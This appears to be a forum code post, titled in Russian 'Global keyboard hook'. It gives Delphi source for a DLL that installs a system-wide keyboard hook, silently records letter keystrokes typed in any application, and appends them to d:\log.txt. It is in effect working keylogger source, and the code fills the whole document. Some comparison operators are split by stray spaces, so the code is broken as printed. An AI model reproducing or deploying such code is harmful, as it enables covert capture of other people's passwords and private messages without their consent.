Глобальный хук на клавиатуру

Code:

library Hook;

uses Windows, SysUtils;

const KF_UP_MY = $40000000;

var CurrentHook: HHook;

   KeyArray: array[0..19] of char;

   KeyArrayPtr: integer;

   CurFile:text;

function GlobalKeyBoardHook(code: integer; wParam: integer; lParam:

integer): longword; stdcall;

var

i:integer;

begin

if code< 0 then

  begin

    result:=CallNextHookEx(CurrentHook,code,wParam,lparam);

    Exit;

  end;

if ( (lParam and KF_UP_MY ) = 0) and (wParam> =65) and (wParam< =90) then

   begin

     KeyArray[KeyArrayPtr]:=char(wParam);

     KeyArrayPtr:=KeyArrayPtr+1;

     if KeyArrayPtr> 19 then

      begin

       for i:=0 to 19 do

       begin

         Assignfile(CurFile,'d:\log.txt');

         if fileexists('d:\log.txt')=false then rewrite(CurFile)

         else Append(CurFile);

         write(Curfile, KeyArray[i]);

         closefile(curfile);

       end;

       KeyArrayPtr:=0;

      end;

   end;

   CallNextHookEx(CurrentHook,code,wParam,lparam);

   result:=0;

end;

procedure SetupGlobalKeyBoardHook;

begin

CurrentHook:=SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyBoardHook,HInstance, 0);

KeyArrayptr:=0;

end;

procedure unhook;

begin

UnhookWindowshookEx(CurrentHook);

end;

exports

SetupGlobalKeyBoardHook, UnHook;

begin

end.